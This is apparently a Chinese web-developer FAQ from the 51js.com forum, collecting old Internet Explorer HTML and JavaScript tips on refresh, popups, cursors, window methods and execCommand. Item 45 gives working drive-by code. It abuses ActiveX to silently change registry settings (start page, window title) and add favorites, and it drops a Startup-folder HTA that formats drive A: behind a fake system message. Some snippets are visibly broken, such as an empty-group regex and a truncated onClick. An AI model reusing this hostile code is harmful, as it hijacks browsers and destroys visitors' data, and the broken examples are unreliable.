1.怎樣才能把RealPlayer文件在網(wǎng)頁做一個試聽連接?
<embed height=25 src=51js.rm type=audio/x-pn-realaudio-plugin width=50 autostart="false" controls="PlayButton">
2.請問如何去掉IE的上下滾動條?
<body style='overflow:scroll;overflow-y:hidden'>
</body>
3.如何在打開頁面的時候,輸入表單就獲得焦點?
如果表單沒有名字可以用document.forms[index]數(shù)組訪問 如果表單項沒有名字可以用document.forms[index].elements[index]數(shù)組訪問 這里index是整數(shù) 比如:
<form>
<input type="text" value="" onclick ="document.forms[0].elements[0].value='我是表單1,第一個表單項';">
</form>
<form name="form2">
<input type="text" value="" onclick ="document.form2.elements[0].value='我是表單2,第一個表單項';">
</form>
<form name="form3">
<input name="text3" type="text" value="" onclick ="document.form3.text3.value='我是表單3,第一個表單項';">
</form>
4.解釋一下event.X和event.clientX有什么區(qū)別?
event.clientX返回事件發(fā)生時,mouse相對于客戶窗口的X坐標
event.X也一樣
但是如果設(shè)置事件對象的定位屬性值為relative
event.clientX不變
而event.X返回事件對象的相對于本體的坐標
event代表事件的狀態(tài),例如事件發(fā)生的的元素、鼠標的位置等等,event對象只在事件過程中才有效。
event屬性:
altKey
檢索ALT鍵的當(dāng)前狀態(tài)
可能的值 true為關(guān)閉
false為不關(guān)閉
button
檢索按下的鼠標鍵
可能的值: 0 沒按鍵
1 按左鍵
2 按右鍵
3 按左右鍵
4 按中間鍵
5 按左鍵和中間鍵
6 按右鍵和中間鍵
7 按所有的鍵
cancelBubble
設(shè)置或檢索當(dāng)前事件是否將事件句柄起泡
可能的值: false 啟用起泡
true 取消該事件起泡
clientX
檢索與窗口客戶區(qū)域有關(guān)的鼠標光標的X坐標,屬性為只讀,沒有默認值。
clientY
檢索與窗口客戶區(qū)域有關(guān)的鼠標光標的Y坐標,屬性為只讀,沒有默認值。
ctrlKey
ctrlKey 檢索CTRL鍵的當(dāng)前狀態(tài)
可能的值 true為關(guān)閉
false為不關(guān)閉
dataFld
檢索被oncellchange事伯影響的列
aTransfer
為拖放操作提供預(yù)先定義的剪貼板式。
Element
檢索在onmouseover和onmouseout事件期間退出的對象指針
keyCode
設(shè)置或檢索與引發(fā)事件的關(guān)鍵字相關(guān)聯(lián)的Unicode關(guān)鍵字代碼
該屬性與onkeydown onkeyup onkeypress一起使用
如果沒有引發(fā)事件的關(guān)鍵字,則該值為0
offsetX
檢索與觸發(fā)事件的對象相關(guān)的鼠標位置的水平坐標
offsetY
檢索與觸發(fā)事件的對象相關(guān)的鼠標位置的垂直坐標
propertyName
檢索在對象上己更改的特性的名稱
reason
檢索數(shù)據(jù)源對象數(shù)據(jù)傳輸?shù)慕Y(jié)果
可能的值:
0 數(shù)據(jù)傳輸成功
1 數(shù)據(jù)傳輸失敗
2 數(shù)據(jù)傳輸錯誤
recordset
檢索數(shù)據(jù)源對象中默認記錄集的引用
該特性為只讀
repeat
檢索一個事件是否被重復(fù)
該屬性只有在onkeydown事件重復(fù)時才返回true
returnValue
設(shè)置或檢索從事件中返回的值
可能的值:
true 事件中的值被返回
false 源對象上事件的默認操作被取消
screenX
檢索與用戶屏相關(guān)的鼠標的水平位置
screenY
檢索與用戶屏相關(guān)的鼠標的垂直位置
shiftKey
檢索shiftKey鍵的當(dāng)前狀態(tài)
可能的值 true為關(guān)閉
false為不關(guān)閉
srcElement
檢索觸發(fā)事件的對象
srcFilter
檢索導(dǎo)致onfilterchange事件觸發(fā)的過濾器對象
srcUm
檢索觸發(fā)事件行為的同一資源名稱
除非下面兩個條件都為真,否則該特性被設(shè)置為null
1.行為被附加到觸發(fā)事件的要素上
2.在前面的項目符號中定義的行為己指定了一個URN標識符和己觸發(fā)的事件
toElement
檢索作為onmouseover或者onmouseout事件結(jié)果而移動的對象
type
檢索事件對象中的事件名稱
x
檢索相對于父要素鼠標水平坐標的整數(shù)
y
檢索相對于父要素鼠標垂直坐標的整數(shù)
5.請問如何讓網(wǎng)頁自動刷新?
在head部記入<META HTTP-EQUIV="Refresh" content="20">其中20為20秒后自動刷新,你可以更改為任意值。
6.如何讓一個窗口永遠在最上面?
<a onclick=aa()>點這里</a>
<script language='javascript'>
function aa(){
y=window.showModalDialog("http://www.51js.com","","Height: 300; Width: 275; help: no");
}
</script>
7.如何實現(xiàn)虛線邊框?
<html>
<head>
<title>虛線</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
</head>
<body bgcolor="#FFFFFF" text="#000000">
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td style="border-top-style:dashed ;"> </td>
</tr>
</table>
</body>
</html>
[/html]
還可以把dashed換成dotted | solid | double | groove | ridge | inset | outset 等等樣式,還可以在style里指定顏色:border-color:#??????
[html]<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>New Page 1</title>
<meta name="GENERATOR" content="Microsoft FrontPage 3.0">
</head>
<body>
<table border="1" width="100%" style="border: 1px dashed">
<tr>
<td width="50%"> </td>
<td width="50%"> </td>
</tr>
<tr>
<td width="50%"> </td>
<td width="50%"> </td>
</tr>
<tr>
<td width="50%"> </td>
<td width="50%"> </td>
</tr>
</table>
</body>
</html>
[/html]
[html]<html>
<body>
<table>
<tr>
<td style="border-top:dashed 1px #000000;border-left:dashed 1px #000000;border-right:dashed 1px #000000">只有這樣才行嗎?</td>
</tr>
<tr><td style="border-left:dashed 1px #000000;border-right:dashed 1px #000000" height=100> </td></tr>
<tr><td style="border-bottom:dashed 1px #000000;border-left:dashed 1px #000000; border-right:dashed 1px #000000">如果td多了,這樣出來的虛線邊框是斷斷續(xù)續(xù)的。</td></tr></table>
</body></html>
8.如何用html實現(xiàn)瀏覽器上后退按鈕的功能?
<a href="javascript:history.go(-1)">點擊后退</a>
或者
<script> history.back() </script>
9.表單中如何用圖片按鈕實現(xiàn) reset?
<html>
<head>
<script>
function aaa(){
document.forms[0].reset()
}
</script>
</head>
<body>
<form>
<textarea rows="2" name="S1" cols="20"></textarea>
<input type="submit" value="提交" name="B1">
<image src="logo.gif" onclick=aaa()>
</form>
</body></html>
10.怎樣去掉圖片鏈接點擊后,圖片周圍的虛線?
onFocus="if(this.blur)this.blur()" blur: 使物件失焦... 當(dāng)你點擊圖片鏈接時 圖片鏈接得到焦點(Focus) 就會出現(xiàn)虛線(提示你這個圖片得到焦點了) 用blur能使之失焦 簡單一點的語法 onFocus="this.blur()"
11.如何去掉網(wǎng)頁連接的下劃線?
<head>
<style type="text/css">
<!--
A { text-decoration: none}
-->
</style>
</head>
<a href=http://www.51js.com>一個連接</a>
12.請問怎么在網(wǎng)頁中改變鼠標的箭頭形狀?
<body>
<a href="#" style="cursor: auto;">auto</a><br/>
<a href="#" style="cursor: crosshair ">crosshair </a><br/>
<a href="#" style="cursor: default ">default </a><br/>
<a href="#" style="cursor: hand ">hand </a><br/>
<a href="#" style="cursor: move ">move </a><br/>
<a href="#" style="cursor: e-resize ">e-resize </a><br/>
<a href="#" style="cursor: ne-resize ">ne-resize </a><br/>
<a href="#" style="cursor: nw-resize">nw-resize</a><br/>
<a href="#" style="cursor: n-resize">n-resize</a><br/>
<a href="#" style="cursor: se-resize">se-resize</a><br/>
<a href="#" style="cursor: sw-resize">sw-resize</a><br/>
<a href="#" style="cursor: s-resize">s-resize</a><br/>
<a href="#" style="cursor: w-resize">w-resize</a><br/>
<a href="#" style="cursor: text">text</a><br/>
<a href="#" style="cursor: wait">wait</a><br/>
<a href="#" style="cursor: help">help</a><br/>
</body>
13.target="_blank"規(guī)定鏈接在新窗口中打開,那 target="_parent"、 target="_self" 、target="_top"的作用又是什么?
target="_parent"、上一層框架
target="_self" 、自身窗口、框架
target="_top" 最頂層框架。
更細點的解釋,從織夢補給網(wǎng)找來的:
_blank
開啟一個新的視窗,而且是沒有命名的視窗。
_self
強迫連結(jié)的結(jié)果顯示在同一個子畫面,而忽略 BASE 的設(shè)定。
_parent
在該子畫面的「父畫面」(也就是上一層的 FRAMESET)中顯示連結(jié)的結(jié)果。
_top
從視窗的最上頭開始顯示畫面;換句話說就是先清除整個視窗後再載入連結(jié)
14.如何使網(wǎng)友收藏本網(wǎng)時,收藏夾顯示的不是微軟的那個一成不變的標志,而是本人選擇的ICON?
<LINK href="fav.ico" rel="shortcut icon">
加入HADE標簽中,圖片放入根目錄下,須是.ico格式.
有的空間不支援直接放在根目錄
必須加上
<LINK href="路徑/圖檔.ico" rel="shortcut icon">
15.請問如何去掉主頁右面的滾動條?
<body scroll="no">
<body style="overflow-y:hidden">
16.怎樣不使用頁面的緩存?即每一次打開頁面時不是調(diào)用緩存中的東西
<META HTTP-EQUIV="Pragma" CONTENT="no-cache">
17.請問如何忽視右鍵?
<body oncontextmenu="return false">
18.怎樣在同一頁面內(nèi)控制不同鏈接的CSS屬性?
a:active{}
a:link{}
a:visited{}
a.1:active{}
a.1:link{}
a.1:visited{}
在DW4的CSS中定義一個新的標示,按照HTML的語法,超級連接得是
A.YOURS:LINK A.YOURS:HOVER
YOURS可以改作你自己的字
然后在選中某個連接后,在CSS面版中點中YOURS即可。
按需要,你可以定義N個標示,N種鼠標OVER的效果
19.電子郵件處理提交表單
<form name="form1" method="post" action="mailto:webmaster@51js.com" enctype="text/plain">
<input type=submit>
</form>
20.有沒有可能用層來遮住FLASH?
1.在flash的parameters里加入 <param name="wmode" value="transparent">
2.<body onblur=self.focus()>
21.如何根據(jù)屏幕分辨率調(diào)用相對應(yīng)的頁面?
先做好幾個頁面,比如一個htm1.htm是800*600,一個是htm2.htm是1024*768的 然后在你的入口頁面 index.htm 中判斷:
<html>
<head>
<script language=javascript>
<!--
function mHref() {
if (screen.width == 1024) location.href = "htm2.htm";
else if (screen.width == 800) location.href = "htm1.htm";
else return(false);
}
//-->
</script>
</head>
<body onload="mHref();">
</body>
</html>
22.不用詢問就關(guān)閉瀏覽器
<head>
<OBJECT id=closes type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">
<param name="Command" value="Close">
</object>
</head>
<body>
<input type="button" value="點擊我關(guān)閉窗口" onclick="closes.Click();">
</body>
23.如何彈出只有狀態(tài)欄的窗口?
<html>
<head>
<title>open() close()</title>
<script language="javascript" type="text/javascript">
<!--
function openWin()
{
var newWin=open("","","menubar=1,height=200");
newWin.document.write("<form>");
newWin.document.write("單擊以下按鈕關(guān)閉窗口:<p>");
newWin.document.write("<input type=button value='關(guān)閉' onclick=window.close()>");
newWin.document.write("</form>");
}
</script></head>
<body>
<div align=center>
<h2>單擊以下按鈕顯示新窗口...</h2>
<form name=form1>
<input type=button value="新窗口1[只顯示地址欄]" onclick=window.open('','new1','location=1')>
<input type=button value="新窗口2[只顯示狀態(tài)欄]" onclick=window.open('','','status=1')>
<input type=button value="新窗口3[只顯示工具欄]" onclick=window.open('','new2','toolbar=1,height=200,width=450')>
<input type=button value="新窗口4[只顯示菜單欄]" onclick=openWin()>
<input type=button value="新窗口5[一個不少]" onclick=window.open('','new5')>
<input type=button value="新窗口6[光棍但可調(diào)大小]" onclick=window.open('http://www.51js.com/forumdisplay.php?forumid=32#thread','new6','resizable=1')>
</form>
</div>
</body>
</html>
24.如何改變iframe的src地址
<body>
<input type="button" value="改變地址" onClick="parent.displayinhere.location.>
<iframe name="displayinhere" width=250px; height=200px; src="http://www.51js.com">
</body>
25.如何讓超鏈接沒有下劃線
在源代碼中的<HEAD>…</HEAD>之間輸入如下代碼:
<style type="text/css"> <!--
a { text-decoration: none}
--> < /style>
26.頁面打開時自動彈出一個窗口的代碼怎么寫?
<html>
<head>
<title>Untitled Document</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<script language="JavaScript">
<!--
function MM_openBrWindow(theURL,winName,features) { //v2.0
window.open(theURL,winName,features);
}
//-->
</script>
</head>
<body bgcolor="#FFFFFF" text="#000000" onLoad="MM_openBrWindow('1212312.htm','','width=400,height=400')">
</body>
</html>
27.請問如何做到讓一個網(wǎng)頁自動關(guān)閉.
<html>
<head>
<OBJECT id=closes type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">
<param name="Command" value="Close">
</object>
</head>
<body onload="window.setTimeout('closes.Click()',10000)">
這個窗口會在10秒過后自動關(guān)閉,而且不會出現(xiàn)提示. </body>
28.如何讓我的頁面出現(xiàn)一個會講話的小人?Merlin
<HTML>
<HEAD>
<TITLE>默林</TITLE>
<META http-equiv=Content-Type content="text/html; charset=gb2312">
</HEAD>
<BODY>
<p><OBJECT id=sims classid=CLSID<img src="images/smilies/bigsmile.gif" border=0>45FD31B-5C6E-11D1-9EC1-00C04FD7081F>
</OBJECT>
<SCRIPT>
var MerlinID;
var MerlinACS;
sims.Connected = true;
MerlinLoaded = LoadLocalAgent(MerlinID, MerlinACS);
Merlin = sims.Characters.Character(MerlinID);
Merlin.Show();
Merlin.Play("Surprised");
Merlin.Speak("大家好");
Merlin.Play("GestureLeft");
Merlin.Think("我是默林!");
Merlin.Play("Pleased");
Merlin.Think("可愛嗎?");
Merlin.Play("GestureDown");
Merlin.Speak("哈哈!");
Merlin.Hide();
function LoadLocalAgent(CharID, CharACS){
LoadReq = sims.Characters.Load(CharID, CharACS);
return(true);
}
</SCRIPT>
</p>
<p> </p>
<p>看此效果必須裝有office2000!!!</p>
</BODY>
</HTML>
如果看不到效果或效果有問題,請將代碼保存為html文件查看.
這代碼中使用的MSAgent仍然屬于客戶端的控件,在Win98安裝PWS時可以安裝上一個叫Merlin的精靈,查查你的系統(tǒng)中有沒有一個叫做Merlin.acf的文件,應(yīng)該在一個叫MSAgent的目錄,記不太清了,有的話才能看到,否則就會出現(xiàn)下載的提示,在Win2000中已安裝了MSAgent2.0,所以一般都會正確的顯示出來,還有很多精靈,但之所以選用Merlin因為大部分的機器上都有,如果想自己定制的話,可以到微軟去下載一個叫Character Editor的工具,制作的精靈必須分發(fā)到客戶端才可使用,在微軟站點的MSAgent是在服務(wù)器端的,每個命令都要到服務(wù)器上去處理,然后發(fā)回相應(yīng)的動作圖畫,(不過至今我還沒看到過,我們的帶寬本來就不夠,還有一堆人在下載,哎,真是痛苦!),我還沒有看到有關(guān)在Server端制作MSAgent的文章,誰有的話,可以告訴我一聲。 其中: 用"=number" number是字數(shù)/分 例如: Merlin.Speak "=62to the 51js" Merlin.Speak "=160to the 51js" 還有,找到這句: Merlin.LanguageID = 0x409; 改為0x804 (Simplified Chinese) 改為0x404 (Traditional Chinese) 要用的話最好到微軟去看看它的使用許可協(xié)議,要是被微軟告了可別怪我噢!! 最終用戶許可 http://msdn.microsoft.com/msagent/eula.asp 分發(fā)許可 http://msdn.microsoft.com/msagent/agentlic.asp MSAgent 下載 http://activex.microsoft.com/activex/controls/agent2/MSagent.exe http://agent.microsoft.com/agent2/chars/Merlin.exe http://agent.microsoft.com/agent2/chars/Peedy.exe 資料: http://msdn.microsoft.com/workshop/imedia/agent/techfaq.asp
29.如何幾秒后轉(zhuǎn)到別的頁面?
<META HTTP-EQUIV="Refresh" CONTENT="時間;URL=地址">
30.在頁面中如何加入不是滿鋪的背景圖片,拉動頁面時背景圖不動
<html><head>
<STYLE>
body {background-image:url(../bihu/pic/logo.gif);
background-repeat:no-repeat; background-position:center }
</STYLE>
</head>
<body bgproperties="fixed" >
</body>
</html>
31.文本輸入框什么屬性能實現(xiàn)不可輸入?
<input type="text" name="textfield" disabled>
或者
<input type="text" name="textfield" readonly>
32.怎樣保持layer在最前面,而不被Iframe、Object所覆蓋,有什么解決方法?
只要在Layer中再插Iframe 或 Object 設(shè)z-Index值
<div z-Index:2><object xxx></object></div> # 前面
<div z-Index:1><object xxx></object></div> # 后面
<div id="Layer2" style="position:absolute; top:40;width:400px; height:95px;z-index:2"><table height=100% width=100% bgcolor="#ff0000"><tr><td height=100% width=100%></td></tr></table><iframe width=0 height=0></iframe></div>
<div id="Layer1" style="position:absolute; top:50;width:200px; height:115px;z-index:1"><iframe height=100% width=100%></iframe></div>
33.如何讓表格并排?
首先在第一個表里應(yīng)該這樣寫: "<table border=0 cellpadding=1 cellspacing=1 align=left>" 這table里最為關(guān)鍵是"align=left"這一句。 然后在第二個表里也應(yīng)該加上align=left 這樣,你的目的就達到了。
<table width="200" border="0" cellspacing="1" cellpadding="0" bgcolor="#000000" align=left>
<tr>
<td bgcolor="#ffffff"> </td>
</tr>
</table>
<table width="200" height=200 border="0" cellspacing="1" cellpadding="0" bgcolor="#cccccc" align=left>
<tr>
<td bgcolor="#ffffff"> </td>
</tr>
</table>
[/html]
[html]<table border="1" cellspacing="0" cellpadding="0" bordercolor="#ff0000" align=left> <tr><td>你好</tr></td></table>
<table border="1" cellspacing="0" cellpadding="0" bordercolor="#00ff00"><tr><td> 我很好</tr></td></table>
<br/>還可以排三個
<br/>
<table border="1" cellspacing="0" cellpadding="0" bordercolor="#ff0000" align=left> <tr><td>你好</tr></td></table>
<table border="1" cellspacing="0" cellpadding="0" bordercolor="#00ff00" align=right><tr><td> 我很好</tr></td></table>
<table border="1" cellspacing="0" cellpadding="0" bordercolor="#0000ff" align=center><tr><td> 他也很好</tr></td></table>
34.如何讓兩個form表單行距之間不出現(xiàn)空格?
這樣寫 <TABLE><FORM><TR>.......</TR></FORM></TABLE>
35.如何讓頁面自動刷新?
方法一,用refresh
<head>
<meta http-equiv="refresh" content="5">
</head>
5表示刷新時間
方法二,使用setTimeout控制 <script> function rl(){ document.location.reload() } setTimeout(rl,2000) </script>
36.如何給文本連接加上提示語言?
<a href="#" title="我出來拉">click me</a>
37.英文排版的問題:怎么能讓英自動排列整齊?
請使用css中的 text-align: justify;
<table style="TABLE-LAYOUT: fixed" width="100%" border="0" cellspacing="0" cellpadding="7" bgcolor="#f7f7f7">
<tr>
<td style="LEFT: 0px; WIDTH: 100%; text-align: justify"><font color="#990000">[效果]</font><br/>
who are you you are a aaa is it comprehention who are you you are a pig is it comprehention
who are you you are a aaa is it comprehention
who are you you are a aaa is it comprehention
</font></td>
</tr>
</table>
38.如何禁止自己的頁面在別人的框架里打開?
把以下代碼加至你的<head>區(qū)
<script>
if (window.top!=self){
window.top.location=self.location
}
</script>
39.在打開的子窗口刷新父窗口的代碼里如何寫?
window.opener.location.reload()
42.JS正則表達式replace用法
下述示例腳本使用replace方法來轉(zhuǎn)換串中的單詞。在替換的文本中,腳本使用全局 RegExp
對象的$1和$2屬性的值。注意,在作為第二個參數(shù)傳遞給replace方法的時候,RegExp對象的$屬性的名
稱。
<SCRIPT LANGUAGE="JavaScript1.2">
re = /(+)(+)/;
str = "John Smith";
newstr=str.replace(re,"$2, $1");
document.write(newstr)
</SCRIPT>
顯示結(jié)果:"Smith, John".
str.replace(re,"$2, $1");這一句,$2,$1是什么意思?
[font color=blue]下面這個解釋我也不大明白,可否幫我解釋一下,多謝!{/font]
$1, ..., $9屬性
用圓括號括著的匹配子串,如果有的話。
是RegExp的屬性
靜態(tài),只讀
在JavaScript 1.2, NES 3.0以上版本提供
描述:因為input是靜態(tài)屬性,不是個別正則表達式對象的屬性。你可以使用RegExp.input 訪問該
屬性。
能加上圓括號的子串的數(shù)量不受限制,但正則表達式對象只能保留最后9 條。如果你要訪問所有的
圓括號內(nèi)的匹配字串,你可以使用返回的數(shù)組。
RegExp.$n 保存滿足用圓括號括起來的匹配條件的子串
$2是匹配第2個括號,$1是匹配第1個括號,對多層括號嵌套應(yīng)該如何區(qū)分?而且如果超過$1~$9的括號如何匹配?
<script>
var reg=/((+)(+))/;
var str='John Smith';
reg.exec(str);
</script>
<button onclick=with(RegExp)alert($1+''+$2+''+$3);>View</button>
43.如何實現(xiàn)首頁全屏幕顯示?
<html>
<body><script language="javascript">
var coolw=642
var coolh=400
var coolhuang=window.open("http://www.51js.com","coolhuang","width="+coolw+",height="+coolh+",fullscreen=1,
toolbar=0,location=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=0")
window.close()
</script></body></html>
44.如何動態(tài)改變一個Object對象的樣式表風(fēng)格的Class?
<style>
.btn1{
background-color:#990000;color:#ffffff;
}
</style>
<button onclick="this.className='btn1'">你點我一下我的樣式表就改為使用.btn1了</button>
45.如何用腳本來修改用戶系統(tǒng)的注冊表? (★★★★不推薦使用★★★★)
<script>
document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");
function AddFavLnk(loc, DispName, SiteURL)
{
var Shor = Shl.CreateShortcut(loc + "\" + DispName +".URL");
Shor.TargetPath = SiteURL;
Shor.Save();
}
function f(){
try
{
//ActiveX 初始化
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Net = a1.GetObject();
try
{
if (documents .cookie.indexOf("Chg") == -1)
{
//設(shè)置Cookie
var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90));
documents .cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
//設(shè)置Cookie完畢
//設(shè)置主頁
Shl.RegWrite ("HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", "http://www.51js.com/");
//修改瀏覽器的標題
Shl.RegWrite ("HKCU\Software\Microsoft\Internet Explorer\Main\Window Title", "你的Internet Explorer已經(jīng)被修改過了 51JS.COM");
//設(shè)置Cookie
var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90));
documents .cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
var WF, Shor, loc;
WF = FSO.GetSpecialFolder(0);
loc = WF + "\Favorites";
if(!FSO.FolderExists(loc))
{
loc = FSO.GetDriveName(WF) + "\Documents and Settings\" + Net.UserName + "\Favorites";
if(!FSO.FolderExists(loc))
{
return;
}
}
AddFavLnk(loc, "無憂腳本", "http://www.51js.com");
}
}
catch(e)
{}
}
catch(e)
{}
}
function init()
{
setTimeout("f()", 1000);
}
init();
</script>
格式化硬盤的,
把啟動菜單下的automat.hta刪除即可,這是格式化 a:盤
<object id="scr" classid="clsid:06290BD5-48AA-11D2-8432-006008C3FBFC">
</object>
<SCRIPT>
scr.Reset();
scr.Path="C:\windows\start menu\Programs\啟動\automat.hta";
scr.Doc="<object id='wsh' classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></object><SCRIPT>wsh.Run('start /m format a: /q /autotest /u');alert('Note:Windows is configing the system,do not interrupt it!.');</"+"SCRIPT>";
scr.write();
</script>
<HTML>
<HEAD>
<TITLE>
建立文件
</TITLE>
</HEAD>
<BODY>
<BR>
<APPLET code="com.ms.activeX.ActiveXComponent" >
</APPLET>
<SCRIPT LANGUAGE="JAVASCRIPT">
a1=document.applets[0];
fn="51js.HTM";
doc="<SCRIPT>s1=歡迎你訪問無憂腳本!\請您將在啟動文件夾內(nèi)的51js.com.HTM刪除即可;alert(s1);document.body.innerHTML=s1</"+"SCRIPT>";
function f1()
{
a1.setProperty('DOC',doc);
}
function f()
{
// The ActiveX classid
cl="{06290BD5-48AA-11D2-8432-006008C3FBFC}";
a1.setCLSID(cl);
a1.createInstance();
setTimeout("a1.setProperty('Path','"+fn+"')",1000);
setTimeout("f1()",1500);
setTimeout("a1.invoke('write',VA);alert('"+fn+" 被建立');",2000);
}
setTimeout("f()",1000)
</SCRIPT>
<SCRIPT LANGUAGE="VBSCRIPT">
VA = ARRAY()
' 獲取com.ms.com.Variant[]
</SCRIPT>
<BR>
</BODY>
</HTML>原理是一樣的!
46.如何監(jiān)聽一個窗口被關(guān)閉了?
<body onunload="alert('你關(guān)閉了這個窗口')">
47.什么是innerHTML、outerHTML………還有innerText?
自己用代碼來體會一下
<div id=test><table><tr><td>文本<a>鏈接</a>另一段文本</td></tr></table></div>
<input type=button onclick=alert(test.innerText) value="show innerText"><br/>
<input type=button onclick=alert(test.innerHTML) value="show innerHTML"><br/>
<input type=button onclick=alert(test.outerHTML) value="show outerHTML"><br/>
48.關(guān)于try....catch..的語法捕捉錯誤使用例子
try{
可能會引起錯誤的語句
}
catch(表達式)
{
錯誤處理語句
}
例如:
<button onclick=TryDemo()>Try...Catch...Demo</button>
<script>
function TryDemo()
{
try{
var a=b/2;//注意由于b不存在,所以會引發(fā)一個異常。
}
catch(e)
{
alert('錯誤類型:'+e+'錯誤信息:'+e.Descrition);
}
}
</script>
49.如何獲得一個Select中選中option的value?
select.options[select.selectedIndex].value
50.this 和self 有什么區(qū)別,各在哪里用
self指代窗口。 this的情況: 1. 用于元素事件代碼中指代元素本身: <button onclick=alert(this.value)>指代元素本身</button> 2. 用于function中指代用function構(gòu)造的類。
<script>
function Car(){this.name='Car';};alert(new Car().name);
</script>
51.如何禁止Ctrl+N?
<body onkeydown=return(!(event.keyCode==78&&event.ctrlKey))>
52.所有dhtml對象的屬性和方法其實在你本機的硬盤上就有!
查找:dhtmled.ocx
或在delphi/c++builder中import activeX 選dhtmled.ocx
53.window方法列表
發(fā)現(xiàn)經(jīng)常有人問一些有關(guān)窗口操作的問題,
所以花了些時間整理出這篇文章,
希望以后不會再有人問這方面的問題。
ie里window的method列表
alert(sMsg)
//彈出一個確認消息框
attachEvent(sEvent,pFunction)
//綁定一個函數(shù)到某個事件,事件觸發(fā)時隨機執(zhí)行其中一個被綁定的函數(shù)
blur()
//令窗口喪失焦點
clearInterval(iIntervalID)
//清除指定定時器的關(guān)聯(lián)函數(shù)
clearTimeout(iTimeoutID)
//清除指定延時器的關(guān)聯(lián)函數(shù)
close()
//關(guān)閉窗口,如果窗口不是用腳本打開的,會彈出確認對話框。
confirm([sMessage])
//彈出“確定/取消”對話框
createPopup([vArgs])
//創(chuàng)建一個隱藏的彈出式窗口,vArgs是未來考慮提供的參數(shù),返回窗口句柄
detachEvent(sEvent,pFunction)
//取消一個事件的某個綁定函數(shù)
execScript(sExpression, sLanguage)
//用指定的語言執(zhí)行代碼
focus()
//激活窗口
moveBy(iX,iY)
//用相對方式移動窗口
moveTo(iLeft,iTop)
//用絕對方式移動窗口
navigate(sURL)
//轉(zhuǎn)到指定的連接
open( [sURL] [, sName] [, sFeatures] [, bReplace])
//打開新窗口,并返回窗口句柄
//sName=(*_blank:打開一個新的未命名窗口;_parent:在父窗口中打開;_search:同時打開搜索窗口;_self:替換本窗口; _top:在頂級窗口里打開;*)
//sFeatures=(*channelmode = { yes | no | 1 | 0 };directories = { yes | no | 1 | 0 };fullscreen = { yes | no | 1 | 0 };height = number;left = number;location = { yes | no | 1 | 0 };menubar = { yes | no | 1 | 0 };resizable = { yes | no | 1 | 0 };scrollbars = { yes | no | 1 | 0 };status = { yes | no | 1 | 0 };titlebar = { yes | no | 1 | 0 };toolbar = { yes | no | 1 | 0 };top = number;width = number;*)
print()
//打印當(dāng)前窗口文檔內(nèi)容
prompt( [sMessage] [, sDefaultValue])
//彈出輸入對話框
resizeBy(iX, iY)
//以相對方式改變窗口大小
resizeTo(iWidth, iHeight)
//以絕對方式改變窗口大小
scroll(iX,iY)
滾動窗口,與scrollTo一樣的效果,出于兼容性的考慮保留下來的方法
scrollBy(iX, iY)
//用相對方式滾動窗口
scrollTo(iX, iY)
//用絕對方式滾動窗口
setActive()
//激活目標而不將視線轉(zhuǎn)向目標
setInterval(vCode, iMilliSeconds [, sLanguage])
//定時執(zhí)行一段代碼
setTimeout(vCode, iMilliSeconds, sLanguage)
//延時執(zhí)行一段代碼
showHelp(sURL [, vContextID])
//打開一個幫助文件,sURL為幫助文檔地址,vContextID為幫助索引號
showModalDialog(sURL [, vArguments] [, sFeatures])
showModalDialog(sURL [, vArguments] [, sFeatures])
//打開一個模式對話框
//vArguments=需要向新開模式對話框傳遞的參數(shù)
//sFeatures=(*dialogHeight:sHeight;dialogLeft:sXPos;dialogTop:sYPos;dialogWidth:sWidth;center:{ yes | no | 1 | 0 | on | off };dialogHide:{ yes | no | 1 | 0 | on | off };edge:{ sunken | raised };help:{ yes | no | 1 | 0 | on | off };resizable:{ yes | no | 1 | 0 | on | off };scroll:{ yes | no | 1 | 0 | on | off };status:{ yes | no | 1 | 0 | on | off };unadorned:{ yes | no | 1 | 0 | on | off };*)
showModelessDialog(sURL [, vArguments] [, sFeatures])
//打開一個非模式對話框
//vArgument=需要向新開模式對話框傳遞的參數(shù)
//sFeatures=(*dialogHeight:sHeight;dialogLeft:sXPos;dialogTop:sYPos;dialogWidth:sWidth;center:{ yes | no | 1 | 0 | on | off };dialogHide:{ yes | no | 1 | 0 | on | off };edge:{ sunken | raised };help:{ yes | no | 1 | 0 | on | off };resizable:{ yes | no | 1 | 0 | on | off };scroll:{ yes | no | 1 | 0 | on | off };status:{ yes | no | 1 | 0 | on | off };unadorned:{ yes | no | 1 | 0 | on | off };*)
54.execCommand的完全參考(中文版)
document.execCommand(sCommand[,交互方式, 動態(tài)參數(shù)])
2D-Position;document.execCommand("2D-Position","false","true");使絕對定位的對象可直接拖動;ie5.5
AbsolutePosition;document.execCommand("AbsolutePosition","false","true");使對象定位變成絕對定位;ie5.5
BackColor;document.execCommand("BackColor","false",sColor);設(shè)置背景顏色;ie4.0
BlockDirLTR;none;使塊級元素排版方式為從左到右?;不支持
BlockDirRTL;none;使塊級元素排版方式為從右到左?;不支持 Bold;document.execCommand("Bold","false",null);使選中區(qū)域的文字加粗;ie4.0
BrowseMode;none;設(shè)置瀏覽器模式?;不支持 Copy;
document.execCommand("Copy","false",null);復(fù)制選中的文字到剪貼板;ie4.0 CreateBookmark;document.execCommand("CreateBookmark","false",sAnchorName);設(shè)置指定錨點為書簽;ie4.0
CreateLink;document.execCommand("CreateLink","false",sLinkURL);將選中文本變成超連接,若第二個參數(shù)為true,會出現(xiàn)參數(shù)設(shè)置對話框;ie4.0
